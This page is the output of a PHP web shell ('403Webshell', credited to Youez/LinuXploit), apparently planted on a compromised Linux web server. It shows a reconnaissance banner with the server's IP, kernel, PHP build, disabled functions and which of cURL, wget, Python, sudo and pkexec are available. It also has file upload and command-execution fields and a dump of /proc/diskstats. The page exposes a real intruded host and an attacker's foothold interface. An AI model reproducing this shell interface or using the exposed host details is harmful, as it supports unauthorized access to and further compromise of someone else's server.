403Webshell
Server IP : 103.88.176.108  /  Your IP : 216.73.217.20
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux webserver 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/diskstats
   7       0 loop0 95659 0 199096 25321 0 0 0 0 0 26468 5220 0 0 0 0
   7       1 loop1 98651 0 201670 43193 0 0 0 0 0 9824 14440 0 0 0 0
   7       2 loop2 109890 0 227534 23822 0 0 0 0 0 24932 0 0 0 0 0
   7       3 loop3 501298 0 1011148 74529 0 0 0 0 0 56344 4636 0 0 0 0
   7       4 loop4 105807 0 221267 20004 0 0 0 0 0 19968 288 0 0 0 0
   7       5 loop5 412226 0 833633 129214 0 0 0 0 0 43392 5336 0 0 0 0
   7       6 loop6 64647 0 134494 8633 0 0 0 0 0 12700 8 0 0 0 0
   7       7 loop7 141101 0 288750 35734 0 0 0 0 0 31408 5244 0 0 0 0
  11       0 sr0 4094 0 364168 1156 0 0 0 0 0 1276 84 0 0 0 0
 252       0 vda 4966063 465705 329343601 3820067 183121985 190623811 3679796224 137938807 0 142138140 11773828 0 0 0 0
 252       1 vda1 280 0 2226 63 0 0 0 0 0 204 0 0 0 0 0
 252       2 vda2 4965436 465705 329324736 3819538 158391661 190623803 3679796144 135939511 0 141745880 11772800 0 0 0 0
   7       8 loop8 442888 0 891562 133588 0 0 0 0 0 47780 10888 0 0 0 0
   7       9 loop9 226 0 2462 69 0 0 0 0 0 208 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit